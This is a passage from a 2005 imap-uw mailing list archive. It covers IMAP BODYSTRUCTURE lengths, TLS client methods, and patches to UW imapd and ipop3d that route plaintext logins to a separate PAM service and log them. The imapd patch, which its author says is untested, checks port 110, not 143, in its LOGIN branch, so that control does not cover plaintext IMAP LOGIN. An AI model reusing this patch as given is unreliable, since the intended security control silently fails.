mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJYqG1024594 for ; Thu, 28 Jul 2005 12:34:52 -0700 Received: from out2.smtp.messagingengine.com (out2.smtp.messagingengine.com [66.111.4.26]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJYph8001477 for ; Thu, 28 Jul 2005 12:34:51 -0700 Received: from frontend3.messagingengine.com (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 98825CC519D for ; Thu, 28 Jul 2005 15:34:37 -0400 (EDT) X-Sasl-enc: 3bh7IMP//93adjy6kYhsPaDA1ggamiZRz/nn8DgdUrIE 1122579277 Received: from [127.0.0.1] (unknown [66.39.168.250]) by frontend3.messagingengine.com (Postfix) with ESMTP id 7FC411E6 for ; Thu, 28 Jul 2005 15:34:37 -0400 (EDT) Message-ID: <42E9334B.4040705@xsmail.com> Date: Thu, 28 Jul 2005 12:34:35 -0700 From: Marc Blank User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HASHBUSTER_BLOCK_V2_N1 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Multipart/Alternative X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Mark et al. If an IMAP server has a bodystructure like this: * 1 FETCH (BODYSTRUCTURE ((("text" "plain" ("charset" "utf-8") NIL NIL "Quoted-Printable" 5685 142 NIL NIL NIL)("text" "html" ("charset" "utf-8") NIL NIL "Quoted-Printable" 37569 862 NIL NIL NIL) "alternative" ("boundary" "Part-Message-Boundary-by-Mail-Sender-1122149961_2") NIL NIL)("application" "pdf" ("name" "WPJLAS_20050723221918_E_email.pdf") NIL "Itinerary WPJLAS" "Base64" 45778 NIL ("attachment" ("filename" "WPJLAS.pdf")) NIL) "related" ("boundary" "Message-Boundary-by-Mail-Sender-1122149961") NIL NIL)) a8 OK FETCH completed Would I expect the length of body[1] to be the sum of the alternative parts (e.g. 5685 + 37569 in this example)? Thanks, Marc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 14:09:06 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 14:09:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SL96S6022102 for ; Thu, 28 Jul 2005 14:09:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SL95rN014386 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 14:09:05 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SL8l5o003659; Thu, 28 Jul 2005 14:08:47 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SL8jeu003640 for ; Thu, 28 Jul 2005 14:08:45 -0700 Received: from brinza.cc.columbia.edu (brinza.cc.columbia.edu [128.59.29.8]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SL8gEe017133 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 28 Jul 2005 14:08:43 -0700 Received: from [160.39.244.30] (dyn-wireless-244-30.dyn.columbia.edu [160.39.244.30]) (user=selsky mech=PLAIN bits=0) by brinza.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j6SL8L9I016129 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Thu, 28 Jul 2005 17:08:21 -0400 (EDT) In-Reply-To: <42E9312A.5050706@luxsci.com> References: <42E9312A.5050706@luxsci.com> Mime-Version: 1.0 (Apple Message framework v622) Content-Type: multipart/mixed; boundary=Apple-Mail-2-396315353 Message-Id: <3e5ac48b0353febc68652d5cfaa18085@columbia.edu> From: Matt Selsky Subject: Re: [Imap-uw] Selectively forcing SSL access for IMAP and POP Date: Thu, 28 Jul 2005 17:08:39 -0400 To: kangas@luxsci.com X-Mailer: Apple Mail (2.622) X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.8 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --Apple-Mail-2-396315353 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed We patched imapd and pop3d to use a slightly different different PAM service name if using an insecure login. Then we had PAM check a group to see if that user was still permitted to use insecure services. When we finally had all users doing secure logins we removed the patch. This patch changes the PAM service name and syslogs the insecure logins for POP3. You can do something very similar for IMAP, but I don't have that patch handy. -- Matt > I have some server configured soas to allow both insecure POP/IMAP and > POP/IMAP over SSL. We are using UW IMAP and PAM for authentication. > > What I would like to do is force *selected* users to only be allowed > to login via the SSL ports. I know I can do this by putting these > people on a different server and either blocking the insecure ports or > compiling imap/pop to only allow SSL; however, this is not an > option.... they have to stay on the same server as other users who do > want to use insecure logins. > > So, > > * Is there some way to use different PAM files for SSL and non-SSL > connections? If so, we could use PAM-Listfile to allow or deny access > on a per-user basis. > > * Are there other suggestions that are clean? > > I suppose a "dirty" solution would be to hack the authentication part > of imapd to do a pam-listfile similar thing ... knowing if the login > is using SSL or not. However, I prefer to keep my IMAPd code as close > as possible to the source distribution. > > Any suggestions are very welcome. --Apple-Mail-2-396315353 Content-Transfer-Encoding: 7bit Content-Type: application/octet-stream; x-unix-mode=0644; name="block-insecure-pop3.patch" Content-Disposition: attachment; filename=block-insecure-pop3.patch --- src/ipopd/ipop3d.c 2004/08/25 06:11:42 1.1 +++ src/ipopd/ipop3d.c 2004/09/29 08:02:42 @@ -74,6 +74,7 @@ long *msg = NIL; /* message translation vector */ logouthook_t lgoh = NIL; /* logout hook */ char *sayonara = "+OK Sayonara\015\012"; +int starttls = NIL; /* Function prototypes */ @@ -200,16 +201,28 @@ s = strtok (t," "); /* get mechanism name */ /* get initial response */ initial = strtok (NIL,"\015\012"); + if (tcp_serverport () == 110 && !starttls) { + mail_parameters (NIL,SET_SERVICENAME,(void *) "popclear"); + } if (!(user = cpystr (mail_auth (s,responder,argc,argv)))) { PSOUT ("-ERR Bad authentication\015\012"); syslog (LOG_INFO,"AUTHENTICATE %s failure host=%.80s",s, tcp_clienthost ()); } - else if ((state = mbxopen ("INBOX")) == TRANSACTION) + else if ((state = mbxopen ("INBOX")) == TRANSACTION) { syslog (LOG_INFO,"Auth user=%.80s host=%.80s nmsgs=%ld/%ld", user,tcp_clienthost (),nmsgs,stream->nmsgs); - else syslog (LOG_INFO,"Auth user=%.80s host=%.80s no mailbox", + if (tcp_serverport () == 110 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); + } + else { + syslog (LOG_INFO,"Auth user=%.80s host=%.80s no mailbox", user,tcp_clienthost ()); + if (tcp_serverport () == 110 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); + } } else { AUTHENTICATOR *auth; @@ -252,7 +265,10 @@ PSOUT (t); CRLF; } - else PSOUT ("+OK STLS completed\015\012"); + else { + PSOUT ("+OK STLS completed\015\012"); + starttls = T; + } } else if (!mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL) && !strcmp (s,"USER")) { @@ -573,13 +589,25 @@ /* no, delimit user from possible admin */ if (t = strchr (user,'*')) *t++ ='\0'; /* attempt the login */ + if (tcp_serverport () == 110 && !starttls) { + mail_parameters (NIL,SET_SERVICENAME,(void *) "popclear"); + } if (server_login (user,pass,t,argc,argv)) { int ret = mbxopen ("INBOX"); - if (ret == TRANSACTION) /* mailbox opened OK? */ + if (ret == TRANSACTION) { /* mailbox opened OK? */ syslog (LOG_INFO,"%sLogin user=%.80s host=%.80s nmsgs=%ld/%ld", t ? "Admin " : "",user,tcp_clienthost (),nmsgs,stream->nmsgs); - else syslog (LOG_INFO,"%sLogin user=%.80s host=%.80s no mailbox", - t ? "Admin " : "",user,tcp_clienthost ()); + if (tcp_serverport () == 110 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); + } + else { + syslog (LOG_INFO,"%sLogin user=%.80s host=%.80s no mailbox", + t ? "Admin " : "",user,tcp_clienthost ()); + if (tcp_serverport () == 110 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); + } return ret; } } --Apple-Mail-2-396315353 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --Apple-Mail-2-396315353-- From pinedev@shivax2.cac.washington.edu Thu Jul 28 16:10:25 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 16:10:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SNAOrg028323 for ; Thu, 28 Jul 2005 16:10:25 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SNAOFw024055 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 16:10:24 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SNAFoo018306; Thu, 28 Jul 2005 16:10:15 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SNAElm018298 for ; Thu, 28 Jul 2005 16:10:14 -0700 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SNABxk015055 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 28 Jul 2005 16:10:12 -0700 Received: from [192.168.1.202] (c-65-96-147-245.hsd1.ma.comcast.net [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.11) with ESMTP id j6SN9laI024643 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 28 Jul 2005 18:09:48 -0500 Message-ID: <42E965BB.2050709@luxsci.com> Date: Thu, 28 Jul 2005 19:09:47 -0400 From: Erik Kangas User-Agent: Mozilla Thunderbird 1.0.5 (Windows/20050711) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Matt Selsky Subject: Re: [Imap-uw] Selectively forcing SSL access for IMAP and POP References: <42E9312A.5050706@luxsci.com> <3e5ac48b0353febc68652d5cfaa18085@columbia.edu> In-Reply-To: <3e5ac48b0353febc68652d5cfaa18085@columbia.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Matt Selsky wrote: > We patched imapd and pop3d to use a slightly different different PAM > service name if using an insecure login. Then we had PAM check a > group to see if that user was still permitted to use insecure > services. When we finally had all users doing secure logins we > removed the patch. This patch changes the PAM service name and > syslogs the insecure logins for POP3. You can do something very > similar for IMAP, but I don't have that patch handy. > > Thnak you Matt, Does anyone have an example of a similar PAM patch or could point to the righ parts of the code that need to be modified, etc? This would certainly make our implementation easier. Best, -Erik Kangas _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 22:44:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 22:44:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6T5iKm6015070 for ; Thu, 28 Jul 2005 22:44:20 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6T5iJgt015525 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 22:44:19 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6T5hvsq017686; Thu, 28 Jul 2005 22:43:57 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6T5hutP017678 for ; Thu, 28 Jul 2005 22:43:56 -0700 Received: from brinza.cc.columbia.edu (brinza.cc.columbia.edu [128.59.29.8]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6T5htTe003450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 28 Jul 2005 22:43:56 -0700 Received: from [160.39.244.30] (dyn-wireless-244-30.dyn.columbia.edu [160.39.244.30]) (user=selsky mech=PLAIN bits=0) by brinza.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j6T5hrl0002552 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Fri, 29 Jul 2005 01:43:53 -0400 (EDT) In-Reply-To: <42E965BB.2050709@luxsci.com> References: <42E9312A.5050706@luxsci.com> <3e5ac48b0353febc68652d5cfaa18085@columbia.edu> <42E965BB.2050709@luxsci.com> Mime-Version: 1.0 (Apple Message framework v622) Content-Type: multipart/mixed; boundary=Apple-Mail-1-427247744 Message-Id: From: Matt Selsky Subject: Re: [Imap-uw] Selectively forcing SSL access for IMAP and POP Date: Fri, 29 Jul 2005 01:44:12 -0400 To: Erik Kangas X-Mailer: Apple Mail (2.622) X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.48 on 128.59.29.8 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --Apple-Mail-1-427247744 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed No problem. This patch does the same thing for IMAP. I haven't tested the PAM part, but it should be OK. -- Matt > Does anyone have an example of a similar PAM patch or could point to > the righ parts of the code that need to be modified, etc? This would > certainly make our implementation easier. --Apple-Mail-1-427247744 Content-Transfer-Encoding: 7bit Content-Type: application/octet-stream; x-unix-mode=0600; name="imapd.c.patch" Content-Disposition: attachment; filename=imapd.c.patch diff -ur src/imapd/imapd.c.orig src/imapd/imapd.c --- src/imapd/imapd.c.orig 2005-01-20 20:20:11.000000000 -0500 +++ src/imapd/imapd.c 2005-07-29 01:39:31.441147048 -0400 @@ -260,6 +260,7 @@ unsigned char *s,*t,*u,*v,tmp[MAILTMPLEN]; struct stat sbuf; time_t autologouttime = 0; + int starttls = NIL; char *pgmname = (argc && argv[0]) ? (((s = strrchr (argv[0],'/')) || (s = strrchr (argv[0],'\\'))) ? (char *) s+1 : argv[0]) : "imapd"; @@ -432,7 +433,9 @@ if (pass) fs_give ((void **) &pass); initial = NIL; /* no initial argument */ cancelled = NIL; /* not cancelled */ - /* mandatory first argument */ + if (tcp_serverport () == 143 && !starttls) { + mail_parameters (NIL,SET_SERVICENAME,(void *) "imapclear"); + } /* mandatory first argument */ if (!(s = snarf (&arg))) response = misarg; else if (arg && (!(initial = snarf (&arg)) || arg)) response = badarg; /* optional second argument */ @@ -461,6 +464,9 @@ response = (response == altwin) ? logwinalt : logwin; syslog (LOG_INFO,"Authenticated user=%.80s host=%.80s", user,tcp_clienthost ()); + if (tcp_serverport () == 143 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); } else { AUTHENTICATOR *auth = mail_lookup_auth (1); @@ -512,7 +518,9 @@ } else { /* delimit user from possible admin */ if (s = strchr (user,'*')) *s++ ='\0'; - /* see if username and password are OK */ + if (tcp_serverport () == 110 && !starttls) { + mail_parameters (NIL,SET_SERVICENAME,(void *) "imapclear"); + } /* see if username and password are OK */ if (server_login (user,pass,s,argc,argv)) { state = SELECT; /* make select */ alerttime = 0; /* force alert */ @@ -520,6 +528,9 @@ response = (response == altwin) ? logwinalt : logwin; syslog (LOG_INFO,"Login user=%.80s host=%.80s",user, tcp_clienthost ()); + if (tcp_serverport () == 143 && !starttls) + syslog (LOG_NOTICE,"Non-secure login user=%.80s host=%.80s", + user,tcp_clienthost ()); } else response = "%.80s NO %.80s failed\015\012"; } @@ -528,6 +539,7 @@ else if (!strcmp (cmd,"STARTTLS")) { if (arg) response = badarg; else if (lsterr = ssl_start_tls (pgmname)) response = lose; + else starttls = T; } else response = "%.80s BAD Command unrecognized/login please: %.80s\015\012"; --Apple-Mail-1-427247744 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed --Apple-Mail-1-427247744 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --Apple-Mail-1-427247744-- From pinedev@shivax2.cac.washington.edu Sat Jul 30 18:30:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 30 Jul 2005 18:30:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6V1UWWj012086 for ; Sat, 30 Jul 2005 18:30:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1UVXt026520 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 30 Jul 2005 18:30:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1UB3d009041; Sat, 30 Jul 2005 18:30:12 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1UBYO009033 for ; Sat, 30 Jul 2005 18:30:11 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1UAVw009774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 30 Jul 2005 18:30:10 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1U9Uo009876 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 30 Jul 2005 18:30:10 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (cs205-31.fsmodem.washington.edu [140.142.184.32]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j6V1Ta39022338 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sat, 30 Jul 2005 18:29:55 -0700 Date: Sat, 30 Jul 2005 18:29:32 -0700 From: Mark Crispin To: Karl Boyken Subject: Re: [Imap-uw] Cipher setting In-Reply-To: <42E8EC59.7090605@divms.uiowa.edu> Message-ID: References: <42E8EC59.7090605@divms.uiowa.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 28 Jul 2005, Karl Boyken wrote: > Is there a way to specify which cipher to use for TLS? I'm trying > setting up a Perdition 1.17 proxy server in front of our UW IMAP 2004c1 > server. Perdition can set up an SSL session with UW IMAP with no > problem, but TLS sessions fail. I've used ssldump to examine TLS > sessions, and it looks like cipher negotiation is failing for some > reason. Perdition can be configured to use a specific cipher--is there > some way to configure the cipher used by UW IMAP for TLS? Thanks. More likely, Perdition has a bug and is (incorrectly) using the SSLv23 client method with TLS instead of the (correct) TLSv1 client method. Some baby programmers (mistakenly) believe that the SSLv23 client method is "more general" than the TLSv1 client method and thus should be used for both SSL and TLS. As you have discovered, the SSLv23 client method does not work with UW imapd and other IMAP servers which use the TLSv1 server method for TLS. See if you can get Perdition to fix their client to use the TLSv1 client method for TLS. Note that the SSLv23 client method *is* correct for SSL, so you have to use different client methods depending upon whether you are using SSL or TLS. The lesson to learn from this is that TLS is not "just another name for SSL." It *is* a (subtly) different protocol. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat Jul 30 18:42:28 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 30 Jul 2005 18:42:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6V1gS0s012527 for ; Sat, 30 Jul 2005 18:42:28 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1gPSX026903 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 30 Jul 2005 18:42:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1gAGR010001; Sat, 30 Jul 2005 18:42:10 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1g9D5009993 for ; Sat, 30 Jul 2005 18:42:09 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1g9tf010346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sat, 30 Jul 2005 18:42:09 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6V1g8o3009127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 30 Jul 2005 18:42:08 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (cs205-31.fsmodem.washington.edu [140.142.184.32]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j6V1fgOx013238 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sat, 30 Jul 2005 18:42:01 -0700 Date: Sat, 30 Jul 2005 18:41:35 -0700 From: Mark Crispin To: Marc Blank Subject: Re: [Imap-uw] Multipart/Alternative In-Reply-To: <42E9334B.4040705@xsmail.com> Message-ID: References: <42E9334B.4040705@xsmail.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 28 Jul 2005, Marc Blank wrote: > Would I expect the length of body[1] to be the sum of the alternative parts > (e.g. 5685 + 37569 in this example)? I'll have to look at this more closely (I'm on a slow circuit right now) to be certain; but offhand I would say "no". If you fetch a raw multipart, you get all the overhead in that multipart (MIME headers, boundary delimiters) in addition to the component parts. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 3 17:12:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Aug 2005 17:12:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j740CrTp004785 for ; Wed, 3 Aug 2005 17:12:53 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j740Cqal026596 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 Aug 2005 17:12:52 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu 